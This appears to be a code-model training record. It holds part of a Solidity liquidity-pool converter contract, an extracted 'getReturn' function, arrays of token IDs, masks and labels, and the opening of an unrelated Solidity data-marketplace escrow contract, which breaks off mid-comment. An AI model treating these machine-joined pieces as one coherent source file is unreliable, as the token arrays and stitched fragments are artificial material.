targetAmountAndFee(sourceToken, targetToken, sourceBalance, targetBalance, sourceAmount); } /** * @dev returns the expected amount and expected fee for converting one reserve to another * * @param sourceBalance balance in the source reserve token contract * @param targetBalance balance in the target reserve token contract * @param sourceAmount amount of source reserve tokens converted * * @return expected amount in units of the target reserve token * @return expected fee in units of the target reserve token */ function targetAmountAndFee( IReserveToken, /* sourceToken */ IReserveToken, /* targetToken */ uint256 sourceBalance, uint256 targetBalance, uint256 sourceAmount ) private view returns (uint256, uint256) { uint256 targetAmount = crossReserveTargetAmount(sourceBalance, targetBalance, sourceAmount); uint256 fee = calculateFee(targetAmount); return (targetAmount - fee, fee); } /** * @dev returns the required amount and expected fee for converting one reserve to another * * @param sourceToken address of the source reserve token contract * @param targetToken address of the target reserve token contract * @param targetAmount amount of target reserve tokens desired * * @return required amount in units of the source reserve token * @return expected fee in units of the target reserve token */ function sourceAmountAndFee( IReserveToken sourceToken, IReserveToken targetToken, uint256 targetAmount ) public view virtual active returns (uint256, uint256) { uint256 sourceId = _reserveIds[sourceToken]; uint256 targetId = _reserveIds[targetToken]; (uint256 sourceBalance, uint256 targetBalance) = reserveBalances(sourceId, targetId); uint256 fee = calculateFeeInv(targetAmount); uint256 sourceAmount = crossReserveSourceAmount(sourceBalance, targetBalance, targetAmount.add(fee)); return (sourceAmount, fee); } /** * @dev converts a specific amount of source tokens to target tokens * * @param sourceToken source reserve token * @param targetToken target reserve token * @param sourceAmount amount of tokens to convert (in units of the source token) * @param trader address of the caller who executed the conversion * @param beneficiary wallet to receive the conversion result * * @return amount of tokens received (in units of the target token) */ function doConvert( IReserveToken sourceToken, IReserveToken targetToken, uint256 sourceAmount, address trader, address payable beneficiary ) private returns (uint256) { // update the recent average rate updateRecentAverageRate(); uint256 sourceId = _reserveIds[sourceToken]; uint256 targetId = _reserveIds[targetToken]; (uint256 sourceBalance, uint256 targetBalance) = reserveBalances(sourceId, targetId); // get the target amount minus the conversion fee and the conversion fee (uint256 targetAmount, uint256 fee) = targetAmountAndFee(sourceToken, targetToken, sourceBalance, targetBalance, sourceAmount); // ensure that the trade gives something in return require(targetAmount != 0, "ERR_ZERO_TARGET_AMOUNT"); // ensure that the trade won't deplete the reserve balance assert(targetAmount < targetBalance); // ensure that the input amount was already deposited uint256 actualSourceBalance = sourceToken.balanceOf(address(this)); if (sourceToken.isNativeToken()) { require(msg.value == sourceAmount, "ERR_ETH_AMOUNT_MISMATCH"); } else { require(msg.value == 0 && actualSourceBalance.sub(sourceBalance) >= sourceAmount, "ERR_INVALID_AMOUNT"); } // sync the reserve balances setReserveBalances(sourceId, targetId, actualSourceBalance, targetBalance - targetAmount); // transfer funds to the beneficiary in the to reserve token targetToken.safeTransfer(beneficiary, targetAmount); // dispatch the conversion event dispatchConversionEvent(sourceToken, targetToken, trader, sourceAmount, targetAmount, fee); // dispatch rate updates dispatchTokenRateUpdateEvents(sourceToken, targetToken, actualSourceBalance, targetBalance - targetAmount); return targetAmount; } /** * @dev returns the recent average rate of 1 token in the other reserve token units * * @param token token to get the rate for * * @return recent average rate between the reserves (numerator) * @return recent average rate between the reserves (denominator) */ function recentAverageRate(IReserveToken token) external view validReserve(token) returns (uint256, uint256) { // get the recent average rate of reserve 0 uint256 rate = calcRecentAverageRate(_averageRateInfo); uint256 rateN = decodeAverageRateN(rate); uint256 rateD = decodeAverageRateD(rate); if (token == _reserveTokens[0]) { return (rateN, rateD); } return (rateD, rateN); } /** * @dev updates the recent average rate if needed */ function updateRecentAverageRate() private { uint256 averageRateInfo1 = _averageRateInfo; uint256 averageRateInfo2 = calcRecentAverageRate(averageRateInfo1); if (averageRateInfo1 != averageRateInfo2) { _averageRateInfo = averageRateInfo2; } } /** * @dev returns the recent average rate of 1 reserve token 0 in reserve token 1 units * * @param averageRateInfoData the average rate to use for the calculation * * @return recent average rate between the reserves */ function calcRecentAverageRate(uint256 averageRateInfoData) private view returns (uint256) { // get the previous average rate and its update-time uint256 prevAverageRateT = decodeAverageRateT(averageRateInfoData); uint256 prevAverageRateN = decodeAverageRateN(averageRateInfoData); uint256 prevAverageRateD = decodeAverageRateD(averageRateInfoData); // get the elapsed time since the previous average rate was calculated uint256 currentTime = time(); uint256 timeElapsed = currentTime - prevAverageRateT; // if the previous average rate was calculated in the current block, the average rate remains unchanged if (timeElapsed == 0) { return averageRateInfoData; } // get the current rate between the reserves (uint256 currentRateD, uint256 currentRateN) = reserveBalances(); // if the previous average rate was calculated a while ago or never, the average rate is equal to the current rate if (timeElapsed >= AVERAGE_RATE_PERIOD || prevAverageRateT == 0) { (currentRateN, currentRateD) = MathEx.reducedRatio(currentRateN, currentRateD, MAX_UINT112); return encodeAverageRateInfo(currentTime, currentRateN, currentRateD); } uint256 x = prevAverageRateD.mul(currentRateN); uint256 y = prevAverageRateN.mul(currentRateD); // since we know that timeElapsed < AVERAGE_RATE_PERIOD, we can avoid using SafeMath: uint256 newRateN = y.mul(AVERAGE_RATE_PERIOD - timeElapsed).add(x.mul(timeElapsed)); uint256 newRateD = prevAverageRateD.mul(currentRateD).mul(AVERAGE_RATE_PERIOD); (newRateN, newRateD) = MathEx.reducedRatio(newRateN, newRateD, MAX_UINT112); return encodeAverageRateInfo(currentTime, newRateN, newRateD); } /** * @dev increases the pool's liquidity and mints new shares in the pool to the caller * * @param reserves address of each reserve token * @param reserveAmounts amount of each reserve token * @param minReturn token minimum return-amount * * @return amount of pool tokens issued */ function addLiquidity( IReserveToken[] memory reserves, uint256[] memory reserveAmounts, uint256 minReturn ) external payable nonReentrant active returns (uint256) { // verify the user input verifyLiquidityInput(reserves, reserveAmounts, minReturn); // if one of the reserves is ETH, then verify that the input amount of ETH is equal to the input value of ETH require( (!reserves[0].isNativeToken() || reserveAmounts[0] == msg.value) && (!reserves[1].isNativeToken() || reserveAmounts[1] == msg.value), "ERR_ETH_AMOUNT_MISMATCH" ); // if the input value of ETH is larger than zero, then verify that one of the reserves is ETH if (msg.value > 0) { require(_reserveIds[ReserveToken.NATIVE_TOKEN_ADDRESS] != 0, "ERR_NO_ETH_RESERVE"); } // save a local copy of the pool token IDSToken poolToken = IDSToken(address(_anchor)); // get the total supply uint256 totalSupply = poolToken.totalSupply(); uint256[2] memory prevReserveBalances; uint256[2] memory newReserveBalances; // process the network fees and get the reserve balances (prevReserveBalances[0], prevReserveBalances[1]) = processNetworkFees(msg.value); uint256 amount; uint256[2] memory newReserveAmounts; // calculate the amount of pool tokens to mint for the caller // and the amount of reserve tokens to transfer from the caller if (totalSupply == 0) { amount = MathEx.geometricMean(reserveAmounts); newReserveAmounts[0] = reserveAmounts[0]; newReserveAmounts[1] = reserveAmounts[1]; } else { (amount, newReserveAmounts) = addLiquidityAmounts( reserves, reserveAmounts, prevReserveBalances, totalSupply ); } uint256 newPoolTokenSupply = totalSupply.add(amount); for (uint256 i = 0; i < 2; i++) { IReserveToken reserveToken = reserves[i]; uint256 reserveAmount = newReserveAmounts[i]; require(reserveAmount > 0, "ERR_ZERO_TARGET_AMOUNT"); assert(reserveAmount <= reserveAmounts[i]); // transfer each one of the reserve amounts from the user to the pool if (!reserveToken.isNativeToken()) { // ETH has already been transferred as part of the transaction reserveToken.safeTransferFrom(msg.sender, address(this), reserveAmount); } else if (reserveAmounts[i] > reserveAmount) { // transfer the extra amount of ETH back to the user reserveToken.safeTransfer(msg.sender, reserveAmounts[i] - reserveAmount); } // save the new reserve balance newReserveBalances[i] = prevReserveBalances[i].add(reserveAmount); emit LiquidityAdded(msg.sender, reserveToken, reserveAmount, newReserveBalances[i], newPoolTokenSupply); // dispatch the `TokenRateUpdate` event for the pool token emit TokenRateUpdate(address(poolToken), address(reserveToken), newReserveBalances[i], newPoolTokenSupply); } // set the reserve balances setReserveBalances(1, 2, newReserveBalances[0], newReserveBalances[1]); // set the reserve balances product _reserveBalancesProduct = newReserveBalances[0] * newReserveBalances[1]; // verify that the equivalent amount of tokens is equal to or larger than the user's expectation require(amount >= minReturn, "ERR_RETURN_TOO_LOW"); // issue the tokens to the user poolToken.issue(msg.sender, amount); // return the amount of pool tokens issued return amount; } /** * @dev get the amount of pool tokens to mint for the caller * and the amount of reserve tokens to transfer from the caller * * @param amounts amount of each reserve token * @param balances balance of each reserve token * @param totalSupply total supply of pool tokens * * @return amount of pool tokens to mint for the caller * @return amount of reserve tokens to transfer from the caller */ function addLiquidityAmounts( IReserveToken[] memory, /* reserves */ uint256[] memory amounts, uint256[2] memory balances, uint256 totalSupply ) private pure returns (uint256, uint256[2] memory) { uint256 index = amounts[0].mul(balances[1]) < amounts[1].mul(balances[0]) ? 0 : 1; uint256 amount = fundSupplyAmount(totalSupply, balances[index], amounts[index]); uint256[2] memory newAmounts = [fundCost(totalSupply, balances[0], amount), fundCost(totalSupply, balances[1], amount)]; return (amount, newAmounts); } /** * @dev decreases the pool's liquidity and burns the caller's shares in the pool * * @param amount token amount * @param reserves address of each reserve token * @param minReturnAmounts minimum return-amount of each reserve token * * @return the amount of each reserve token granted for the given amount of pool tokens */ function removeLiquidity( uint256 amount, IReserveToken[] memory reserves, uint256[] memory minReturnAmounts ) external nonReentrant active returns (uint256[] memory) { // verify the user input bool inputRearranged = verifyLiquidityInput(reserves, minReturnAmounts, amount); // save a local copy of the pool token IDSToken poolToken = IDSToken(address(_anchor)); // get the total supply BEFORE destroying the user tokens uint256 totalSupply = poolToken.totalSupply(); // destroy the user tokens poolToken.destroy(msg.sender, amount); uint256 newPoolTokenSupply = totalSupply.sub(amount); uint256[2] memory prevReserveBalances; uint256[2] memory newReserveBalances; // process the network fees and get the reserve balances (prevReserveBalances[0], prevReserveBalances[1]) = processNetworkFees(0); uint256[] memory reserveAmounts = removeLiquidityReserveAmounts(amount, totalSupply, prevReserveBalances); for (uint256 i = 0; i < 2; i++) { IReserveToken reserveToken = reserves[i]; uint256 reserveAmount = reserveAmounts[i]; require(reserveAmount >= minReturnAmounts[i], "ERR_ZERO_TARGET_AMOUNT"); // save the new reserve balance newReserveBalances[i] = prevReserveBalances[i].sub(reserveAmount); // transfer each one of the reserve amounts from the pool to the user reserveToken.safeTransfer(msg.sender, reserveAmount); emit LiquidityRemoved(msg.sender, reserveToken, reserveAmount, newReserveBalances[i], newPoolTokenSupply); // dispatch the `TokenRateUpdate` event for the pool token emit TokenRateUpdate(address(poolToken), address(reserveToken), newReserveBalances[i], newPoolTokenSupply); } // set the reserve balances setReserveBalances(1, 2, newReserveBalances[0], newReserveBalances[1]); // set the reserve balances product _reserveBalancesProduct = newReserveBalances[0] * newReserveBalances[1]; if (inputRearranged) { uint256 tempReserveAmount = reserveAmounts[0]; reserveAmounts[0] = reserveAmounts[1]; reserveAmounts[1] = tempReserveAmount; } // return the amount of each reserve token granted for the given amount of pool tokens return reserveAmounts; } /** * @dev given the amount of one of the reserve tokens to add liquidity of, * returns the required amount of each one of the other reserve tokens * since an empty pool can be funded with any list of non-zero input amounts, * this function assumes that the pool is not empty (has already been funded) * * @param reserves address of each reserve token * @param index index of the relevant reserve token * @param amount amount of the relevant reserve token * * @return the required amount of each one of the reserve tokens */ function addLiquidityCost( IReserveToken[] memory reserves, uint256 index, uint256 amount ) external view returns (uint256[] memory) { uint256 totalSupply = IDSToken(address(_anchor)).totalSupply(); uint256[2] memory baseBalances = baseReserveBalances(reserves); uint256 supplyAmount = fundSupplyAmount(totalSupply, baseBalances[index], amount); uint256[] memory reserveAmounts = new uint256[](2); reserveAmounts[0] = fundCost(totalSupply, baseBalances[0], supplyAmount); reserveAmounts[1] = fundCost(totalSupply, baseBalances[1], supplyAmount); return reserveAmounts; } /** * @dev returns the amount of pool tokens entitled for given amounts of reserve tokens * since an empty pool can be funded with any list of non-zero input amounts, * this function assumes that the pool is not empty (has already been funded) * * @param reserves address of each reserve token * @param amounts amount of each reserve token * * @return the amount of pool tokens entitled for the given amounts of reserve tokens */ function addLiquidityReturn(IReserveToken[] memory reserves, uint256[] memory amounts) external view returns (uint256) { uint256 totalSupply = IDSToken(address(_anchor)).totalSupply(); uint256[2] memory baseBalances = baseReserveBalances(reserves); (uint256 amount, ) = addLiquidityAmounts(reserves, amounts, baseBalances, totalSupply); return amount; } /** * @dev returns the amount of each reserve token entitled for a given amount of pool tokens * * @param amount amount of pool tokens * @param reserves address of each reserve token * * @return the amount of each reserve token entitled for the given amount of pool tokens */ function removeLiquidityReturn(uint256 amount, IReserveToken[] memory reserves) external view returns (uint256[] memory) { uint256 totalSupply = IDSToken(address(_anchor)).totalSupply(); uint256[2] memory baseBalances = baseReserveBalances(reserves); return removeLiquidityReserveAmounts(amount, totalSupply, baseBalances); } /** * @dev verifies that a given array of tokens is identical to the converter's array of reserve tokens * we take this input in order to allow specifying the corresponding reserve amounts in any order * this function rearranges the input arrays according to the converter's array of reserve tokens * * @param reserves array of reserve tokens * @param amounts array of reserve amounts * @param amount token amount * * @return true if the function has rearranged the input arrays; false otherwise */ function verifyLiquidityInput( IReserveToken[] memory reserves, uint256[] memory amounts, uint256 amount ) private view returns (bool) { require(validReserveAmounts(amounts) && amount > 0, "ERR_ZERO_AMOUNT"); uint256 reserve0Id = _reserveIds[reserves[0]]; uint256 reserve1Id = _reserveIds[reserves[1]]; if (reserve0Id == 2 && reserve1Id == 1) { IReserveToken tempReserveToken = reserves[0]; reserves[0] = reserves[1]; reserves[1] = tempReserveToken; uint256 tempReserveAmount = amounts[0]; amounts[0] = amounts[1]; amounts[1] = tempReserveAmount; return true; } require(reserve0Id == 1 && reserve1Id == 2, "ERR_INVALID_RESERVE"); return false; } /** * @dev checks whether or not both reserve amounts are larger than zero * * @param amounts array of reserve amounts * * @return true if both reserve amounts are larger than zero; false otherwise */ function validReserveAmounts(uint256[] memory amounts) private pure returns (bool) { return amounts[0] > 0 && amounts[1] > 0; } /** * @dev returns the amount of each reserve token entitled for a given amount of pool tokens * * @param amount amount of pool tokens * @param totalSupply total supply of pool tokens * @param balances balance of each reserve token * * @return the amount of each reserve token entitled for the given amount of pool tokens */ function removeLiquidityReserveAmounts( uint256 amount, uint256 totalSupply, uint256[2] memory balances ) private pure returns (uint256[] memory) { uint256[] memory reserveAmounts = new uint256[](2); reserveAmounts[0] = liquidateReserveAmount(totalSupply, balances[0], amount); reserveAmounts[1] = liquidateReserveAmount(totalSupply, balances[1], amount); return reserveAmounts; } /** * @dev dispatches token rate update events for the reserve tokens and the pool token * * @param sourceToken address of the source reserve token * @param targetToken address of the target reserve token * @param sourceBalance balance of the source reserve token * @param targetBalance balance of the target reserve token */ function dispatchTokenRateUpdateEvents( IReserveToken sourceToken, IReserveToken targetToken, uint256 sourceBalance, uint256 targetBalance ) private { // save a local copy of the pool token IDSToken poolToken = IDSToken(address(_anchor)); // get the total supply of pool tokens uint256 poolTokenSupply = poolToken.totalSupply(); // dispatch token rate update event for the reserve tokens emit TokenRateUpdate(address(sourceToken), address(targetToken), targetBalance, sourceBalance); // dispatch token rate update events for the pool token emit TokenRateUpdate(address(poolToken), address(sourceToken), sourceBalance, poolTokenSupply); emit TokenRateUpdate(address(poolToken), address(targetToken), targetBalance, poolTokenSupply); } function encodeReserveBalance(uint256 balance, uint256 id) private pure returns (uint256) { assert(balance <= MAX_UINT128 && (id == 1 || id == 2)); return balance << ((id - 1) * 128); } function decodeReserveBalance(uint256 balances, uint256 id) private pure returns (uint256) { assert(id == 1 || id == 2); return (balances >> ((id - 1) * 128)) & MAX_UINT128; } function encodeReserveBalances( uint256 balance0, uint256 id0, uint256 balance1, uint256 id1 ) private pure returns (uint256) { return encodeReserveBalance(balance0, id0) | encodeReserveBalance(balance1, id1); } function decodeReserveBalances( uint256 _balances, uint256 id0, uint256 id1 ) private pure returns (uint256, uint256) { return (decodeReserveBalance(_balances, id0), decodeReserveBalance(_balances, id1)); } function encodeAverageRateInfo( uint256 averageRateT, uint256 averageRateN, uint256 averageRateD ) private pure returns (uint256) { assert(averageRateT <= MAX_UINT32 && averageRateN <= MAX_UINT112 && averageRateD <= MAX_UINT112); return (averageRateT << 224) | (averageRateN << 112) | averageRateD; } function decodeAverageRateT(uint256 averageRateInfoData) private pure returns (uint256) { return averageRateInfoData >> 224; } function decodeAverageRateN(uint256 averageRateInfoData) private pure returns (uint256) { return (averageRateInfoData >> 112) & MAX_UINT112; } function decodeAverageRateD(uint256 averageRateInfoData) private pure returns (uint256) { return averageRateInfoData & MAX_UINT112; } /** * @dev returns the largest integer smaller than or equal to the square root of a given value * * @param x the given value * * @return the largest integer smaller than or equal to the square root of the given value */ function floorSqrt(uint256 x) private pure returns (uint256) { return x > 0 ? MathEx.floorSqrt(x) : 0; } function crossReserveTargetAmount( uint256 sourceReserveBalance, uint256 targetReserveBalance, uint256 sourceAmount ) private pure returns (uint256) { require(sourceReserveBalance > 0 && targetReserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE"); return targetReserveBalance.mul(sourceAmount) / sourceReserveBalance.add(sourceAmount); } function crossReserveSourceAmount( uint256 sourceReserveBalance, uint256 targetReserveBalance, uint256 targetAmount ) private pure returns (uint256) { require(sourceReserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE"); require(targetAmount < targetReserveBalance, "ERR_INVALID_AMOUNT"); if (targetAmount == 0) { return 0; } return (sourceReserveBalance.mul(targetAmount) - 1) / (targetReserveBalance - targetAmount) + 1; } function fundCost( uint256 supply, uint256 balance, uint256 amount ) private pure returns (uint256) { require(supply > 0, "ERR_INVALID_SUPPLY"); require(balance > 0, "ERR_INVALID_RESERVE_BALANCE"); // special case for 0 amount if (amount == 0) { return 0; } return (amount.mul(balance) - 1) / supply + 1; } function fundSupplyAmount( uint256 supply, uint256 balance, uint256 amount ) private pure returns (uint256) { require(supply > 0, "ERR_INVALID_SUPPLY"); require(balance > 0, "ERR_INVALID_RESERVE_BALANCE"); // special case for 0 amount if (amount == 0) { return 0; } return amount.mul(supply) / balance; } function liquidateReserveAmount( uint256 supply, uint256 balance, uint256 amount ) private pure returns (uint256) { require(supply > 0, "ERR_INVALID_SUPPLY"); require(balance > 0, "ERR_INVALID_RESERVE_BALANCE"); require(amount <= supply, "ERR_INVALID_AMOUNT"); // special case for 0 amount if (amount == 0) { return 0; } // special case for liquidating the entire supply if (amount == supply) { return balance; } return amount.mul(balance) / supply; } /** * @dev returns the network wallet and fees * * @param reserveBalance0 1st reserve balance * @param reserveBalance1 2nd reserve balance * * @return the network wallet * @return the network fee on the 1st reserve * @return the network fee on the 2nd reserve */ function networkWalletAndFees(uint256 reserveBalance0, uint256 reserveBalance1) private view returns ( ITokenHolder, uint256, uint256 ) { uint256 prevPoint = floorSqrt(_reserveBalancesProduct); uint256 currPoint = floorSqrt(reserveBalance0 * reserveBalance1); if (prevPoint >= currPoint) { return (ITokenHolder(address(0)), 0, 0); } (ITokenHolder networkFeeWallet, uint32 networkFee) = INetworkSettings(addressOf(NETWORK_SETTINGS)).networkFeeParams(); uint256 n = (currPoint - prevPoint) * networkFee; uint256 d = currPoint * PPM_RESOLUTION; return (networkFeeWallet, reserveBalance0.mul(n).div(d), reserveBalance1.mul(n).div(d)); } /** * @dev deprecated since version 28, backward compatibility - use only for earlier versions */ function token() external view override returns (IConverterAnchor) { return _anchor; } /** * @dev deprecated, backward compatibility */ function transferTokenOwnership(address newOwner) external override ownerOnly { transferAnchorOwnership(newOwner); } /** * @dev deprecated, backward compatibility */ function acceptTokenOwnership() public override ownerOnly { acceptAnchorOwnership(); } /** * @dev deprecated, backward compatibility */ function connectors(IReserveToken reserveToken) external view override returns ( uint256, uint32, bool, bool, bool ) { uint256 reserveId = _reserveIds[reserveToken]; if (reserveId != 0) { return (reserveBalance(reserveId), PPM_RESOLUTION / 2, false, false, true); } return (0, 0, false, false, false); } /** * @dev deprecated, backward compatibility */ function connectorTokens(uint256 index) external view override returns (IReserveToken) { return _reserveTokens[index]; } /** * @dev deprecated, backward compatibility */ function connectorTokenCount() external view override returns (uint16) { return reserveTokenCount(); } /** * @dev deprecated, backward compatibility */ function getConnectorBalance(IReserveToken reserveToken) external view override returns (uint256) { return reserveBalance(reserveToken); } /** * @dev deprecated, backward compatibility */ function getReturn( IReserveToken sourceToken, IReserveToken targetToken, uint256 sourceAmount ) external view returns (uint256, uint256) { return targetAmountAndFee(sourceToken, targetToken, sourceAmount); } }
* @dev deprecated, backward compatibility/
function getReturn( IReserveToken sourceToken, IReserveToken targetToken, uint256 sourceAmount ) external view returns (uint256, uint256) { return targetAmountAndFee(sourceToken, targetToken, sourceAmount); }
12,547,246
[ 1, 14089, 16, 12555, 8926, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 26594, 12, 203, 3639, 467, 607, 6527, 1345, 1084, 1345, 16, 203, 3639, 467, 607, 6527, 1345, 1018, 1345, 16, 203, 3639, 2254, 5034, 1084, 6275, 203, 565, 262, 3903, 1476, 1135, 261, 11890, 5034, 16, 2254, 5034, 13, 288, 203, 3639, 327, 1018, 6275, 1876, 14667, 12, 3168, 1345, 16, 1018, 1345, 16, 1084, 6275, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.2; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "openzeppelin-solidity/contracts/ownership/Ownable.sol"; import "./Shop.sol"; /** *@dev Marketplace contract integrate with TangleID for * user identification, provides a decentralized data marketplace * with full transaction transparency that allows data consumers * to place bids on auctions for high-value sensor/IoT devices to compensate for invaluable data. */ contract Marketplace is Ownable{ using SafeMath for uint256; enum Status {FUNDED, FULFILLED, RELEASED, SUSPENDED, REVERTED} struct Transaction { uint256 value; uint256 lastModified; Status status; uint32 timeoutHours; address buyer; address seller; address moderator; mapping (address => bool) isOwner; mapping (address => bool) voted; bytes32 txHash; } struct Account { string uuid; bytes32[] transactions; } struct Info { address seller; Shop instance; string info; } mapping (address => address) public allSellers; // traversing from 0x0 mapping (address => Info) public sellerData; mapping (address => Account) public userAccounts; mapping (bytes32 => Transaction) public transactions; uint256 uniqueTxid; modifier hasRegistered(address user) { require(bytes(userAccounts[user].uuid).length > 0, "User not registered" ); _; } modifier notRegistered(address user) { require(bytes(userAccounts[user].uuid).length == 0, "User has registered" ); _; } modifier nonZeroAddress(address addressToCheck) { require(addressToCheck != address(0), "Zero address passed"); _; } modifier transactionExists(bytes32 scriptHash) { require( transactions[scriptHash].value != 0, "Transaction does not exist" ); _; } modifier transactionDoesNotExist(bytes32 scriptHash) { require( transactions[scriptHash].value == 0, "Transaction exists" ); _; } modifier inFundedState(bytes32 scriptHash) { require( transactions[scriptHash].status == Status.FUNDED, "Transaction is not in FUNDED state" ); _; } modifier inFulfilledState(bytes32 scriptHash) { require( transactions[scriptHash].status == Status.FULFILLED, "Transaction is not in FULFILLED state" ); _; } modifier shopExists(address shopHolder) { require( address(sellerData[shopHolder].instance) != address(0), "Shop does not exist" ); _; } modifier shopDoesNotExist(address shopHolder) { require( address(sellerData[shopHolder].instance) == address(0), "Shop exists" ); _; } event Funded( bytes32 indexed scriptHash, address indexed from, uint256 value ); event Fulfilled( bytes32 indexed scriptHash, address indexed to, bytes32 txHash ); event Executed( bytes32 indexed scriptHash, address destination, uint256 amount ); constructor () public { } /** *@dev This method is used to register user *in order to use data marketplace service *@param user User account address *@param uuid The uuid of user on TangleID */ function registerUser(address user, string calldata uuid) onlyOwner nonZeroAddress(user) notRegistered(user) external { string memory _uuid = uuid; require(bytes(_uuid).length == 26, "Uuid length does not match"); userAccounts[user].uuid = uuid; } /** *@dev This method is used to register a shop for a registered user *@param seller Seller account address *@param info Information about the shop */ function registerShop(address seller, string calldata info) onlyOwner nonZeroAddress(seller) hasRegistered(seller) shopDoesNotExist(seller) external { _listInsert(seller); sellerData[seller] = Info({ seller: seller, instance: new Shop(seller), info: info }); } /** *@dev Remove a registered shop *@param seller shop holder account address */ function removeShop(address seller) onlyOwner nonZeroAddress(seller) shopExists(seller) external { sellerData[seller].instance.kill(); _listRemove(seller); delete sellerData[seller]; } /** *@dev User can use this method to initiate a transaction * to purchase data *@param seller shop holder account address *@param mamRoot the root of a data stream user wants to purchase */ function purchaseData(address seller, string calldata mamRoot) hasRegistered(msg.sender) nonZeroAddress(seller) external payable returns (bytes32) { uint32 timeoutHours = 48; bytes32 scriptHash = _addTransaction( msg.sender, seller, owner(), timeoutHours, msg.value ); // imform seller sellerData[seller].instance.purchase(msg.sender, mamRoot, msg.value, scriptHash); emit Funded(scriptHash, msg.sender, msg.value); return scriptHash; } /** *@dev Use this method to subscribe a data provider * for some specified timespan *@param seller shop holder account address *@param time subscription timespan */ function subscribeShop(address seller, uint256 time) hasRegistered(msg.sender) nonZeroAddress(seller) external payable { uint32 timeoutHours = 48; bytes32 scriptHash = _addTransaction( msg.sender, seller, owner(), timeoutHours, msg.value ); sellerData[seller].instance.subscribe(msg.sender, time, msg.value); transactions[scriptHash].status = Status.FULFILLED; } /** *@dev User can use this method to redeem data stream if * the subscription is valid *@param seller Shop holder account address *@param mamRoot the specified data stream root */ function purchaseBySubscription(address seller, string calldata mamRoot) hasRegistered(msg.sender) nonZeroAddress(seller) external { uint32 timeoutHours = 48; bytes32 scriptHash = _addTransaction( msg.sender, seller, owner(), timeoutHours, 0 ); sellerData[seller].instance.getSubscribedData(msg.sender, mamRoot, scriptHash); emit Funded(scriptHash, msg.sender, 0); } function _listRemove(address addr) internal { address n = allSellers[address(0)]; address p = address(0); while(n != address(0)) { if (n == addr) { allSellers[p] = allSellers[n]; break; } p = n; n = allSellers[n]; } } function _listInsert(address addr) internal { allSellers[addr] = allSellers[address(0)]; allSellers[address(0)] = addr; } /** *@dev Callback used by Shop instance after data transfer *@param sigV array containing V component of all the signatures *@param sigR array containing R component of all the signatures *@param sigS array containing S component of all the signatures *@param buyer the data buyer *@param scriptHash script hash of the transaction *@param txHash the transaction hash containing data which seller * send to buyer after the purchase */ function fulfillPurchase( uint8[] memory sigV, bytes32[] memory sigR, bytes32[] memory sigS, address buyer, bytes32 scriptHash, bytes32 txHash ) transactionExists(scriptHash) inFundedState(scriptHash) public { address seller = Shop(msg.sender).owner(); require( seller == transactions[scriptHash].seller, "Sender is not recognized as seller" ); require( buyer == transactions[scriptHash].buyer, "Buyer does not involved in the transaction" ); _verifySignatures( sigV, sigR, sigS, scriptHash, seller, transactions[scriptHash].value ); transactions[scriptHash].status = Status.FULFILLED; transactions[scriptHash].txHash = txHash; transactions[scriptHash].lastModified = block.timestamp; emit Fulfilled(scriptHash, buyer, txHash); } /** *@dev Method can be used by moderator to suspend a not released * transaction, in situation that the received data is not correct *@param buyer the data buyer *@param buyer the data seller *@param scriptHash script hash of the transaction */ function suspendTransaction( address buyer, address seller, bytes32 scriptHash ) transactionExists(scriptHash) external { Transaction storage t = transactions[scriptHash]; require( t.moderator == msg.sender, "Operation is not allowed" ); require( t.buyer == buyer && t.seller == seller, "Buyer or seller does not match with transaction" ); require( t.status != Status.RELEASED, "Released transaction is not suspendable" ); t.status = Status.SUSPENDED; } /** *@dev Method can be 